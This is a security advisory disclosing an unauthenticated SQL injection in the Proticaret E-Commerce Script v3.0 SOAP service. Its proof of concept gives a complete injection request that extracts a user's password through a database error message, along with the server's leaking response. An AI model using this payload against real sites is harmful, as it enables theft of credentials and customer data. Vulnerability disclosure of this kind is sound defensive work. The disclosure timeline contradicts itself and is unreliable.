Proticaret E-Commerce Script 3.0 - SQL Injection (1)

Document Title:
============
Proticaret E-Commerce Script v3.0 >= SQL Injection

Release Date:
===========
13 Nov 2014

Product & Service Introduction:
========================
Proticaret is a free e-commerce script.

Abstract Advisory Information:
=======================
BGA Security Team discovered an SQL injection vulnerability in Proticaret E-Commerce Script v3.0

Vulnerability Disclosure Timeline:
=========================
20 Oct 2014	:	Contact with Vendor
20 Nov 2014	:	Vendor Response
June 26, 2014 	:	Patch Released
13 Nov 2014	:	Public Disclosure

Discovery Status:
=============
Published

Affected Product(s):
===============
Promist Bilgi İletişim Teknolojileri A.Ş
Product: Proticaret E-commerce Script v3.0 >=

Exploitation Technique:
==================
Remote, Unauthenticated


Severity Level:
===========
Critical

Technical Details & Description:
========================
SQL Injection

Proof of Concept (PoC):
==================
Proof of Concept

Request:
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:tem="http://tempuri.org/">
   <soapenv:Header/>
   <soapenv:Body>
      <tem:GetProductCodes>
         <!--Optional:-->
         <tem:Code>1' from Users where (select top 1 password from users where userId=101)>1-	-</tem:Code>
         <!--Optional:-->
         <tem:StartWith>?</tem:StartWith>
      </tem:GetProductCodes>
   </soapenv:Body>
</soapenv:Envelope>

Response:

<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
   <soap:Body>
      <soap:Fault>
         <faultcode>soap:Server</faultcode>
         <faultstring>System.Web.Services.Protocols.SoapException: Server was unable to process request. ---> System.Data.SqlClient.SqlException: Conversion failed when converting the nvarchar value 'secretpassword' to data type int.
   at System.Data.SqlClient.SqlConnection.OnError(SqlException exception, Boolean breakConnection, Action`1 wrapCloseInAction)
   at System.Data.SqlClient.SqlInternalConnection.OnError(SqlException exception, Boolean breakConnection, Action`1 wrapCloseInAction)
   at System.Data.SqlClient.TdsParser.ThrowExceptionAndWarning(TdsParserStateObject stateObj, Boolean callerHasConnectionLock, Boolean asyncClose)
   at System.Data.SqlClient.TdsParser.TryRun(RunBehavior runBehavior, SqlCommand cmdHandler, SqlDataReader dataStream, BulkCopySimpleResultSet bulkCopyHandler, TdsParserStateObject stateObj, Boolean& dataReady)
   at System.Data.SqlClient.SqlDataReader.TryHasMoreRows(Boolean& moreRows)
   at System.Data.SqlClient.SqlDataReader.TryReadInternal(Boolean setTimeout, Boolean& more)
   at System.Data.SqlClient.SqlDataReader.Read()
   at ASPNetPortal.ProductService.GetProductCodes(String Code, String StartWith)
   --- End of inner exception stack trace ---</faultstring>
         <detail/>
      </soap:Fault>
   </soap:Body>
</soap:Envelope>


Solution Fix & Patch:
================
Apply the patch for v3.0

Security Risk:
==========
The risk of the vulnerabilities above estimated as critical.

Credits & Authors:
==============
Bilgi Güvenliği Akademisi

Disclaimer & Information:
===================
The information provided in this advisory is provided as it is without any warranty. BGA disclaims all  warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. BGA or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages.
			
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